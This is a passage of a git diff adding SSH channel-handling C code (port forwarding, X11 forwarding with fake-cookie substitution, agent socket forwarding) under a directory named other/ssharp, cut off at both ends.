happen: OUT_DRAIN"); + return i; + default: + fatal("channel_find_open: bad channel type %d", channels[i].type); + /* NOTREACHED */ + } + return -1; +} + + +/* + * Returns a message describing the currently open forwarded connections, + * suitable for sending to the client. The message contains crlf pairs for + * newlines. + */ + +char * +channel_open_message() +{ + Buffer buffer; + int i; + char buf[512], *cp; + + buffer_init(&buffer); + snprintf(buf, sizeof buf, "The following connections are open:\r\n"); + buffer_append(&buffer, buf, strlen(buf)); + for (i = 0; i < channels_alloc; i++) { + Channel *c = &channels[i]; + switch (c->type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_RPORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + continue; + case SSH_CHANNEL_LARVAL: + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_CONNECTING: + case SSH_CHANNEL_DYNAMIC: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + snprintf(buf, sizeof buf, " #%d %.300s (t%d r%d i%d/%d o%d/%d fd %d/%d)\r\n", + c->self, c->remote_name, + c->type, c->remote_id, + c->istate, buffer_len(&c->input), + c->ostate, buffer_len(&c->output), + c->rfd, c->wfd); + buffer_append(&buffer, buf, strlen(buf)); + continue; + default: + fatal("channel_open_message: bad channel type %d", c->type); + /* NOTREACHED */ + } + } + buffer_append(&buffer, "\0", 1); + cp = xstrdup(buffer_ptr(&buffer)); + buffer_free(&buffer); + return cp; +} + +/* + * Initiate forwarding of connections to local port "port" through the secure + * channel to host:port from remote side. + */ +int +channel_request_local_forwarding(u_short listen_port, const char *host_to_connect, + u_short port_to_connect, int gateway_ports) +{ + return channel_request_forwarding( + NULL, listen_port, + host_to_connect, port_to_connect, + gateway_ports, /*remote_fwd*/ 0); +} + +/* + * If 'remote_fwd' is true we have a '-R style' listener for protocol 2 + * (SSH_CHANNEL_RPORT_LISTENER). + */ +int +channel_request_forwarding( + const char *listen_address, u_short listen_port, + const char *host_to_connect, u_short port_to_connect, + int gateway_ports, int remote_fwd) +{ + int success, ch, sock, on = 1, ctype; + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + const char *host; + struct linger linger; + + success = 0; + + if (remote_fwd) { + host = listen_address; + ctype = SSH_CHANNEL_RPORT_LISTENER; + } else { + host = host_to_connect; + ctype =SSH_CHANNEL_PORT_LISTENER; + } + + if (strlen(host) > sizeof(channels[0].path) - 1) { + error("Forward host name too long."); + return success; + } + + /* XXX listen_address is currently ignored */ + /* + * getaddrinfo returns a loopback address if the hostname is + * set to NULL and hints.ai_flags is not AI_PASSIVE + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = gateway_ports ? AI_PASSIVE : 0; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", listen_port); + if (getaddrinfo(NULL, strport, &hints, &aitop) != 0) + packet_disconnect("getaddrinfo: fatal error"); + + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("channel_request_forwarding: getnameinfo failed"); + continue; + } + /* Create a port to listen for the host. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + /* this is no error since kernel may not support ipv6 */ + verbose("socket: %.100s", strerror(errno)); + continue; + } + /* + * Set socket options. We would like the socket to disappear + * as soon as it has been closed for whatever reason. + */ + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); + debug("Local forwarding listening on %s port %s.", ntop, strport); + + /* Bind the socket to the address. */ + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + /* address can be in use ipv6 address is already bound */ + if (!ai->ai_next) + error("bind: %.100s", strerror(errno)); + else + verbose("bind: %.100s", strerror(errno)); + + close(sock); + continue; + } + /* Start listening for connections on the socket. */ + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + close(sock); + continue; + } + /* Allocate a channel number for the socket. */ + ch = channel_new("port listener", ctype, sock, sock, -1, + CHAN_TCP_WINDOW_DEFAULT, CHAN_TCP_PACKET_DEFAULT, + 0, xstrdup("port listener"), 1); + strlcpy(channels[ch].path, host, sizeof(channels[ch].path)); + channels[ch].host_port = port_to_connect; + channels[ch].listening_port = listen_port; + success = 1; + } + if (success == 0) + error("channel_request_forwarding: cannot listen to port: %d", + listen_port); + freeaddrinfo(aitop); + return success; +} + +/* + * Initiate forwarding of connections to port "port" on remote host through + * the secure channel to host:port from local side. + */ + +void +channel_request_remote_forwarding(u_short listen_port, + const char *host_to_connect, u_short port_to_connect) +{ + int payload_len, type, success = 0; + + /* Record locally that connection to this host/port is permitted. */ + if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("channel_request_remote_forwarding: too many forwards"); + + /* Send the forward request to the remote side. */ + if (compat20) { + const char *address_to_bind = "0.0.0.0"; + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring("tcpip-forward"); + packet_put_char(0); /* boolean: want reply */ + packet_put_cstring(address_to_bind); + packet_put_int(listen_port); + packet_send(); + packet_write_wait(); + /* Assume that server accepts the request */ + success = 1; + } else { + packet_start(SSH_CMSG_PORT_FORWARD_REQUEST); + packet_put_int(listen_port); + packet_put_cstring(host_to_connect); + packet_put_int(port_to_connect); + packet_send(); + packet_write_wait(); + + /* Wait for response from the remote side. */ + type = packet_read(&payload_len); + switch (type) { + case SSH_SMSG_SUCCESS: + success = 1; + break; + case SSH_SMSG_FAILURE: + log("Warning: Server denied remote port forwarding."); + break; + default: + /* Unknown packet */ + packet_disconnect("Protocol error for port forward request:" + "received packet type %d.", type); + } + } + if (success) { + permitted_opens[num_permitted_opens].host_to_connect = xstrdup(host_to_connect); + permitted_opens[num_permitted_opens].port_to_connect = port_to_connect; + permitted_opens[num_permitted_opens].listen_port = listen_port; + num_permitted_opens++; + } +} + +/* + * This is called after receiving CHANNEL_FORWARDING_REQUEST. This initates + * listening for the port, and sends back a success reply (or disconnect + * message if there was an error). This never returns if there was an error. + */ + +void +channel_input_port_forward_request(int is_root, int gateway_ports) +{ + u_short port, host_port; + char *hostname; + + /* Get arguments from the packet. */ + port = packet_get_int(); + hostname = packet_get_string(NULL); + host_port = packet_get_int(); + +#ifndef HAVE_CYGWIN + /* + * Check that an unprivileged user is not trying to forward a + * privileged port. + */ + if (port < IPPORT_RESERVED && !is_root) + packet_disconnect("Requested forwarding of port %d but user is not root.", + port); +#endif + /* Initiate forwarding */ + channel_request_local_forwarding(port, hostname, host_port, gateway_ports); + + /* Free the argument string. */ + xfree(hostname); +} + +/* + * Permits opening to any host/port if permitted_opens[] is empty. This is + * usually called by the server, because the user could connect to any port + * anyway, and the server has no way to know but to trust the client anyway. + */ +void +channel_permit_all_opens() +{ + if (num_permitted_opens == 0) + all_opens_permitted = 1; +} + +void +channel_add_permitted_opens(char *host, int port) +{ + if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("channel_request_remote_forwarding: too many forwards"); + debug("allow port forwarding to host %s port %d", host, port); + + permitted_opens[num_permitted_opens].host_to_connect = xstrdup(host); + permitted_opens[num_permitted_opens].port_to_connect = port; + num_permitted_opens++; + + all_opens_permitted = 0; +} + +void +channel_clear_permitted_opens(void) +{ + int i; + + for (i = 0; i < num_permitted_opens; i++) + xfree(permitted_opens[i].host_to_connect); + num_permitted_opens = 0; + +} + + +/* return socket to remote host, port */ +int +connect_to(const char *host, u_short port) +{ + struct addrinfo hints, *ai, *aitop; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int gaierr; + int sock = -1; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) { + error("connect_to %.100s: unknown host (%s)", host, + gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop, sizeof(ntop), + strport, sizeof(strport), NI_NUMERICHOST|NI_NUMERICSERV) != 0) { + error("connect_to: getnameinfo failed"); + continue; + } + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + error("socket: %.100s", strerror(errno)); + continue; + } + if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0) + fatal("connect_to: F_SETFL: %s", strerror(errno)); + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0 && + errno != EINPROGRESS) { + error("connect_to %.100s port %s: %.100s", ntop, strport, + strerror(errno)); + close(sock); + continue; /* fail -- try next */ + } + break; /* success */ + + } + freeaddrinfo(aitop); + if (!ai) { + error("connect_to %.100s port %d: failed.", host, port); + return -1; + } + /* success */ + return sock; +} + +int +channel_connect_by_listen_adress(u_short listen_port) +{ + int i; + + for (i = 0; i < num_permitted_opens; i++) + if (permitted_opens[i].listen_port == listen_port) + return connect_to( + permitted_opens[i].host_to_connect, + permitted_opens[i].port_to_connect); + error("WARNING: Server requests forwarding for unknown listen_port %d", + listen_port); + return -1; +} + +/* Check if connecting to that port is permitted and connect. */ +int +channel_connect_to(const char *host, u_short port) +{ + int i, permit; + + permit = all_opens_permitted; + if (!permit) { + for (i = 0; i < num_permitted_opens; i++) + if (permitted_opens[i].port_to_connect == port && + strcmp(permitted_opens[i].host_to_connect, host) == 0) + permit = 1; + + } + if (!permit) { + log("Received request to connect to host %.100s port %d, " + "but the request was denied.", host, port); + return -1; + } + return connect_to(host, port); +} + +/* + * This is called after receiving PORT_OPEN message. This attempts to + * connect to the given host:port, and sends back CHANNEL_OPEN_CONFIRMATION + * or CHANNEL_OPEN_FAILURE. + */ + +void +channel_input_port_open(int type, int plen, void *ctxt) +{ + u_short host_port; + char *host, *originator_string; + int remote_channel, sock = -1, newch; + + remote_channel = packet_get_int(); + host = packet_get_string(NULL); + host_port = packet_get_int(); + + if (have_hostname_in_open) { + originator_string = packet_get_string(NULL); + } else { + originator_string = xstrdup("unknown (remote did not supply name)"); + } + packet_done(); + sock = channel_connect_to(host, host_port); + if (sock != -1) { + newch = channel_allocate(SSH_CHANNEL_CONNECTING, + sock, originator_string); + channels[newch].remote_id = remote_channel; + + /*XXX delay answer? */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } else { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } + xfree(host); +} + +/* + * Creates an internet domain socket for listening for X11 connections. + * Returns a suitable value for the DISPLAY variable, or NULL if an error + * occurs. + */ + +#define NUM_SOCKS 10 + +char * +x11_create_display_inet(int screen_number, int x11_display_offset) +{ + int display_number, sock; + u_short port; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr, n, num_socks = 0, socks[NUM_SOCKS]; + char display[512]; + char hostname[MAXHOSTNAMELEN]; + + for (display_number = x11_display_offset; + display_number < MAX_DISPLAYS; + display_number++) { + port = 6000 + display_number; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_flags = AI_PASSIVE; /* XXX loopback only ? */ + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", port); + if ((gaierr = getaddrinfo(NULL, strport, &hints, &aitop)) != 0) { + error("getaddrinfo: %.100s", gai_strerror(gaierr)); + return NULL; + } + for (ai = aitop; ai; ai = ai->ai_next) { + if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6) + continue; + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + if ((errno != EINVAL) && (errno != EAFNOSUPPORT)) { + error("socket: %.100s", strerror(errno)); + return NULL; + } else { + debug("x11_create_display_inet: Socket family %d not supported", + ai->ai_family); + continue; + } + } + if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("bind port %d: %.100s", port, strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + + if (ai->ai_next) + continue; + + for (n = 0; n < num_socks; n++) { + shutdown(socks[n], SHUT_RDWR); + close(socks[n]); + } + num_socks = 0; + break; + } + socks[num_socks++] = sock; +#ifndef DONT_TRY_OTHER_AF + if (num_socks == NUM_SOCKS) + break; +#else + break; +#endif + } + freeaddrinfo(aitop); + if (num_socks > 0) + break; + } + if (display_number >= MAX_DISPLAYS) { + error("Failed to allocate internet-domain X11 display socket."); + return NULL; + } + /* Start listening for connections on the socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + if (listen(sock, 5) < 0) { + error("listen: %.100s", strerror(errno)); + shutdown(sock, SHUT_RDWR); + close(sock); + return NULL; + } + } + + /* Set up a suitable value for the DISPLAY variable. */ + if (gethostname(hostname, sizeof(hostname)) < 0) + fatal("gethostname: %.100s", strerror(errno)); + +#ifdef IPADDR_IN_DISPLAY + /* + * HPUX detects the local hostname in the DISPLAY variable and tries + * to set up a shared memory connection to the server, which it + * incorrectly supposes to be local. + * + * The workaround - as used in later $$H and other programs - is + * is to set display to the host's IP address. + */ + { + struct hostent *he; + struct in_addr my_addr; + + he = gethostbyname(hostname); + if (he == NULL) { + error("[X11-broken-fwd-hostname-workaround] Could not get " + "IP address for hostname %s.", hostname); + + packet_send_debug("[X11-broken-fwd-hostname-workaround]" + "Could not get IP address for hostname %s.", hostname); + + shutdown(sock, SHUT_RDWR); + close(sock); + + return NULL; + } + + memcpy(&my_addr, he->h_addr_list[0], sizeof(struct in_addr)); + + /* Set DISPLAY to :screen.display */ + snprintf(display, sizeof(display), "%.50s:%d.%d", inet_ntoa(my_addr), + display_number, screen_number); + } +#else /* IPADDR_IN_DISPLAY */ + /* Just set DISPLAY to hostname:screen.display */ + snprintf(display, sizeof display, "%.400s:%d.%d", hostname, + display_number, screen_number); +#endif /* IPADDR_IN_DISPLAY */ + + /* Allocate a channel for each socket. */ + for (n = 0; n < num_socks; n++) { + sock = socks[n]; + (void) channel_new("x11 listener", + SSH_CHANNEL_X11_LISTENER, sock, sock, -1, + CHAN_X11_WINDOW_DEFAULT, CHAN_X11_PACKET_DEFAULT, + 0, xstrdup("X11 inet listener"), 1); + } + + /* Return a suitable value for the DISPLAY environment variable. */ + return xstrdup(display); +} + +#ifndef X_UNIX_PATH +#define X_UNIX_PATH "/tmp/.X11-unix/X" +#endif + +static +int +connect_local_xsocket(u_int dnr) +{ + static const char *const x_sockets[] = { + X_UNIX_PATH "%u", + "/var/X/.X11-unix/X" "%u", + "/usr/spool/sockets/X11/" "%u", + NULL + }; + int sock; + struct sockaddr_un addr; + const char *const * path; + + for (path = x_sockets; *path; ++path) { + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + error("socket: %.100s", strerror(errno)); + memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + snprintf(addr.sun_path, sizeof addr.sun_path, *path, dnr); + if (connect(sock, (struct sockaddr *) & addr, sizeof(addr)) == 0) + return sock; + close(sock); + } + error("connect %.100s: %.100s", addr.sun_path, strerror(errno)); + return -1; +} + +int +x11_connect_display(void) +{ + int display_number, sock = 0; + const char *display; + char buf[1024], *cp; + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr; + + /* Try to open a socket for the local X server. */ + display = getenv("DISPLAY"); + if (!display) { + error("DISPLAY not set."); + return -1; + } + /* + * Now we decode the value of the DISPLAY variable and make a + * connection to the real X server. + */ + + /* + * Check if it is a unix domain socket. Unix domain displays are in + * one of the following formats: unix:d[.s], :d[.s], ::d[.s] + */ + if (strncmp(display, "unix:", 5) == 0 || + display[0] == ':') { + /* Connect to the unix domain socket. */ + if (sscanf(strrchr(display, ':') + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + /* Create a socket. */ + sock = connect_local_xsocket(display_number); + if (sock < 0) + return -1; + + /* OK, we now have a connection to the display. */ + return sock; + } + /* + * Connect to an inet socket. The DISPLAY value is supposedly + * hostname:d[.s], where hostname may also be numeric IP address. + */ + strncpy(buf, display, sizeof(buf)); + buf[sizeof(buf) - 1] = 0; + cp = strchr(buf, ':'); + if (!cp) { + error("Could not find ':' in DISPLAY: %.100s", display); + return -1; + } + *cp = 0; + /* buf now contains the host name. But first we parse the display number. */ + if (sscanf(cp + 1, "%d", &display_number) != 1) { + error("Could not parse display number from DISPLAY: %.100s", + display); + return -1; + } + + /* Look up the host address */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = IPv4or6; + hints.ai_socktype = SOCK_STREAM; + snprintf(strport, sizeof strport, "%d", 6000 + display_number); + if ((gaierr = getaddrinfo(buf, strport, &hints, &aitop)) != 0) { + error("%.100s: unknown host. (%s)", buf, gai_strerror(gaierr)); + return -1; + } + for (ai = aitop; ai; ai = ai->ai_next) { + /* Create a socket. */ + sock = socket(ai->ai_family, SOCK_STREAM, 0); + if (sock < 0) { + debug("socket: %.100s", strerror(errno)); + continue; + } + /* Connect it to the display. */ + if (connect(sock, ai->ai_addr, ai->ai_addrlen) < 0) { + debug("connect %.100s port %d: %.100s", buf, + 6000 + display_number, strerror(errno)); + close(sock); + continue; + } + /* Success */ + break; + } + freeaddrinfo(aitop); + if (!ai) { + error("connect %.100s port %d: %.100s", buf, 6000 + display_number, + strerror(errno)); + return -1; + } + return sock; +} + +/* + * This is called when SSH_SMSG_X11_OPEN is received. The packet contains + * the remote channel number. We should do whatever we want, and respond + * with either SSH_MSG_OPEN_CONFIRMATION or SSH_MSG_OPEN_FAILURE. + */ + +void +x11_input_open(int type, int plen, void *ctxt) +{ + int remote_channel, sock = 0, newch; + char *remote_host; + u_int remote_len; + + /* Get remote channel number. */ + remote_channel = packet_get_int(); + + /* Get remote originator name. */ + if (have_hostname_in_open) { + remote_host = packet_get_string(&remote_len); + remote_len += 4; + } else { + remote_host = xstrdup("unknown (remote did not supply name)"); + remote_len = 0; + } + + debug("Received X11 open request."); + packet_integrity_check(plen, 4 + remote_len, SSH_SMSG_X11_OPEN); + + /* Obtain a connection to the real X display. */ + sock = x11_connect_display(); + if (sock == -1) { + /* Send refusal to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remote_channel); + packet_send(); + } else { + /* Allocate a channel for this connection. */ + newch = channel_allocate( + (x11_saved_proto == NULL) ? + SSH_CHANNEL_OPEN : SSH_CHANNEL_X11_OPEN, + sock, remote_host); + channels[newch].remote_id = remote_channel; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remote_channel); + packet_put_int(newch); + packet_send(); + } +} + +/* dummy protocol handler that denies SSH-1 requests (agent/x11) */ +void +deny_input_open(int type, int plen, void *ctxt) +{ + int rchan = packet_get_int(); + switch(type){ + case SSH_SMSG_AGENT_OPEN: + error("Warning: ssh server tried agent forwarding."); + break; + case SSH_SMSG_X11_OPEN: + error("Warning: ssh server tried X11 forwarding."); + break; + default: + error("deny_input_open: type %d plen %d", type, plen); + break; + } + error("Warning: this is probably a break in attempt by a malicious server."); + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_send(); +} + +/* + * Requests forwarding of X11 connections, generates fake authentication + * data, and enables authentication spoofing. + */ + +void +x11_request_forwarding_with_spoofing(int client_session_id, + const char *proto, const char *data) +{ + u_int data_len = (u_int) strlen(data) / 2; + u_int i, value, len; + char *new_data; + int screen_number; + const char *cp; + u_int32_t rand = 0; + + cp = getenv("DISPLAY"); + if (cp) + cp = strchr(cp, ':'); + if (cp) + cp = strchr(cp, '.'); + if (cp) + screen_number = atoi(cp + 1); + else + screen_number = 0; + + /* Save protocol name. */ + x11_saved_proto = xstrdup(proto); + + /* + * Extract real authentication data and generate fake data of the + * same length. + */ + x11_saved_data = xmalloc(data_len); + x11_fake_data = xmalloc(data_len); + for (i = 0; i < data_len; i++) { + if (sscanf(data + 2 * i, "%2x", &value) != 1) + fatal("x11_request_forwarding: bad authentication data: %.100s", data); + if (i % 4 == 0) + rand = arc4random(); + x11_saved_data[i] = value; + x11_fake_data[i] = rand & 0xff; + rand >>= 8; + } + x11_saved_data_len = data_len; + x11_fake_data_len = data_len; + + /* Convert the fake data into hex. */ + len = 2 * data_len + 1; + new_data = xmalloc(len); + for (i = 0; i < data_len; i++) + snprintf(new_data + 2 * i, len - 2 * i, + "%02x", (u_char) x11_fake_data[i]); + + /* Send the request packet. */ + if (compat20) { + channel_request_start(client_session_id, "x11-req", 0); + packet_put_char(0); /* XXX bool single connection */ + } else { + packet_start(SSH_CMSG_X11_REQUEST_FORWARDING); + } + packet_put_cstring(proto); + packet_put_cstring(new_data); + packet_put_int(screen_number); + packet_send(); + packet_write_wait(); + xfree(new_data); +} + +/* Sends a message to the server to request authentication fd forwarding. */ + +void +auth_request_forwarding() +{ + packet_start(SSH_CMSG_AGENT_REQUEST_FORWARDING); + packet_send(); + packet_write_wait(); +} + +/* + * Returns the name of the forwarded authentication socket. Returns NULL if + * there is no forwarded authentication socket. The returned value points to + * a static buffer. + */ + +char * +auth_get_socket_name() +{ + return channel_forwarded_auth_socket_name; +} + +/* removes the agent forwarding socket */ + +void +cleanup_socket(void) +{ + unlink(channel_forwarded_auth_socket_name); + rmdir(channel_forwarded_auth_socket_dir); +} + +/* + * This is called to process SSH_CMSG_AGENT_REQUEST_FORWARDING on the server. + * This starts forwarding authentication requests. + */ + +int +auth_input_request_forwarding(struct passwd * pw) +{ + int sock, newch; + struct sockaddr_un sunaddr; + + if (auth_get_socket_name() != NULL) + fatal("Protocol error: authentication forwarding requested twice."); + + /* Temporarily drop privileged uid for mkdir/bind. */ + temporarily_use_uid(pw); + + /* Allocate a buffer for the socket name, and format the name. */ + channel_forwarded_auth_socket_name = xmalloc(MAX_SOCKET_NAME); + channel_forwarded_auth_socket_dir = xmalloc(MAX_SOCKET_NAME); + strlcpy(channel_forwarded_auth_socket_dir, "/tmp/ssh-XXXXXXXX", MAX_SOCKET_NAME); + + /* Create private directory for socket */ + if (mkdtemp(channel_forwarded_auth_socket_dir) == NULL) { + packet_send_debug("Agent forwarding disabled: mkdtemp() failed: %.100s", + strerror(errno)); + restore_uid(); + xfree(channel_forwarded_auth_socket_name); + xfree(channel_forwarded_auth_socket_dir); + channel_forwarded_auth_socket_name = NULL; + channel_forwarded_auth_socket_dir = NULL; + return 0; + } + snprintf(channel_forwarded_auth_socket_name, MAX_SOCKET_NAME, "%s/agent.%d", + channel_forwarded_auth_socket_dir, (int) getpid()); + + if (atexit(cleanup_socket) < 0) { + int saved = errno; + cleanup_socket(); + packet_disconnect("socket: %.100s", strerror(saved)); + } + /* Create the socket. */ + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + packet_disconnect("socket: %.100s", strerror(errno)); + + /* Bind it to the name. */ + memset(&sunaddr, 0, sizeof(sunaddr)); + sunaddr.sun_family = AF_UNIX; + strncpy(sunaddr.sun_path, channel_forwarded_auth_socket_name, + sizeof(sunaddr.sun_path)); + + if (bind(sock, (struct sockaddr *) & sunaddr, sizeof(sunaddr)) < 0) + packet_disconnect("bind: %.100s", strerror(errno)); + + /* Restore the privileged uid. */ + restore_uid(); + + /* Start listening on the socket. */ + if (listen(sock, 5) < 0) + packet_disconnect("listen: %.100s", strerror(errno)); + + /* Allocate a channel for the authentication agent socket. */ + newch = channel_new("auth socket", + SSH_CHANNEL_AUTH_SOCKET, sock, sock, -1, + CHAN_X11_WINDOW_DEFAULT, CHAN_X11_PACKET_DEFAULT, + 0, xstrdup("auth socket"), 1); + + strlcpy(channels[newch].path, channel_forwarded_auth_socket_name, + sizeof(channels[newch].path)); + return 1; +} + +/* This is called to process an SSH_SMSG_AGENT_OPEN message. */ + +void +auth_input_open_request(int type, int plen, void *ctxt) +{ + int remch, sock, newch; + char *dummyname; + + packet_integrity_check(plen, 4, type); + + /* Read the remote channel number from the message. */ + remch = packet_get_int(); + + /* + * Get a connection to the local authentication agent (this may again + * get forwarded). + */ + sock = ssh_get_authentication_socket(); + + /* + * If we could not connect the agent, send an error message back to + * the server. This should never happen unless the agent dies, + * because authentication forwarding is only enabled if we have an + * agent. + */ + if (sock < 0) { + packet_start(SSH_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(remch); + packet_send(); + return; + } + debug("Forwarding authentication connection."); + + /* + * Dummy host name. This will be freed when the channel is freed; it + * will still be valid in the packet_put_string below since the + * channel cannot yet be freed at that point. + */ + dummyname = xstrdup("authentication agent connection"); + + newch = channel_allocate(SSH_CHANNEL_OPEN, sock, dummyname); + channels[newch].remote_id = remch; + + /* Send a confirmation to the remote host. */ + packet_start(SSH_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(remch); + packet_put_int(newch); + packet_send(); +} + +void +channel_start_open(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_open: %d: bad id", id); + return; + } + debug("send channel open %d", id); + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(c->ctype); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); +} +void +channel_open(int id) +{ + /* XXX REMOVE ME */ + channel_start_open(id); + packet_send(); +} +void +channel_request(int id, char *service, int wantconfirm) +{ + channel_request_start(id, service, wantconfirm); + packet_send(); + debug("channel request %d: %s", id, service) ; +} +void +channel_request_start(int id, char *service, int wantconfirm) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_request: %d: bad id", id); + return; + } + packet_start(SSH2_MSG_CHANNEL_REQUEST); + packet_put_int(c->remote_id); + packet_put_cstring(service); + packet_put_char(wantconfirm); +} +void +channel_register_callback(int id, int mtype, channel_callback_fn *fn, void *arg) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_callback: %d: bad id", id); + return; + } + c->cb_event = mtype; + c->cb_fn = fn; + c->cb_arg = arg; +} +void +channel_register_cleanup(int id, channel_callback_fn *fn) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_cleanup: %d: bad id", id); + return; + } + c->dettach_user = fn; +} +void +channel_cancel_cleanup(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_cancel_cleanup: %d: bad id", id); + return; + } + c->dettach_user = NULL; +} +void +channel_register_filter(int id, channel_filter_fn *fn) +{ + Channel *c = channel_lookup(id); + if (c == NULL) { + log("channel_register_filter: %d: bad id", id); + return; + } + c->input_filter = fn; +} + +void +channel_set_fds(int id, int rfd, int wfd, int efd, + int extusage, int nonblock) +{ + Channel *c = channel_lookup(id); + if (c == NULL || c->type != SSH_CHANNEL_LARVAL) + fatal("channel_activate for non-larval channel %d.", id); + channel_register_fds(c, rfd, wfd, efd, extusage, nonblock); + c->type = SSH_CHANNEL_OPEN; + /* XXX window size? */ + c->local_window = c->local_window_max = c->local_maxpacket * 2; + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_window); + packet_send(); +} diff --git a/other/ssharp/channels.h b/other/ssharp/channels.h new file mode 100644 index 0000000..bf70a8f --- /dev/null +++ b/other/ssharp/channels.h @@ -0,0 +1,312 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +/* RCSID("$OpenBSD: channels.h,v 1.31 2001/04/13 22:46:53 beck Exp $"); */ + +#ifndef CHANNELS_H +#define CHANNELS_H + +#include "buffer.h" + +/* Definitions for channel types. */ +#define 